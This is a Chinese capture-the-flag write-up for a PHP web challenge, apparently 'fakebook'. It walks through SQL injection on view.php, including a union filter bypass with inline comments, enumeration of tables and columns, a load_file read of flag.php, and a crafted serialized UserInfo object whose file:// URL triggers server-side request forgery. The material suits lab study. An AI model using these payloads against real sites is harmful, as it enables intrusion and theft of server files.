通过dirsearch爆破出网站存在一个**/flag.php**网页,但是无法正常读取。
访问robots协议,发现有源码备份文件。
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
先进行页面功能分析。
常规注册并登录,发现登录后url存在注入点。
view.php?no=1 and 1=1
#成功运行
view.php?no=1 and 1=2
#成功运行,说明此处存在sql注入点。
view.php?no=1 order by 5
#4的时候不报错,5的时候报错,证明有4个字段
view.php?no=-1 union select 1,2,3,4
#no hack~应该是union被过滤了
view.php?no=-1 union/**/select 1,2,3,4
#成功有回显
view.php?no=-1 union/**/select 1,database(),3,4
#成功爆出数据库的名称fakebook
view.php?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables.where table_schema=database()
#成功爆出表名为users
view.php?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
#成功爆出字段名:no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
view.php?no=-1 union/**/select 1,group_concat(data),3,4 from users
#成功爆出注册时的序列化账户
#O:8:"UserInfo":3:{s:4:"name";s:6:"tzzzez";s:3:"age";i:20;s:4:"blog";s:11:"tzzzez.blog";}
view.php?no=-1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
#借助load_file函数读取flag.php网页内容
方法1:
(借助load_file函数读取结果)
(表格不够大,所以只能通过f12查看)
方法2:
借助ssrf,通过get函数读取/flag.php内容,由于被过滤,所以无法直接读取。因此借助file协议读取网页内容。读取的payload为:
file:///var/www/html/flag.php
(此时想通过注册时直接读取,但是被拒了)
函数中的user还有一层序列化,此时可以通过sql爆破出的user的序列化进行构建,也可以通过源码进行构造。
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
}
$a = new UserInfo();
$a->name = 'tzzzez';
$a->age=20;
$a->blog='file:///var/www/html/flag.php';
echo serialize($a);
?>
view.php?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"tzzzez";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'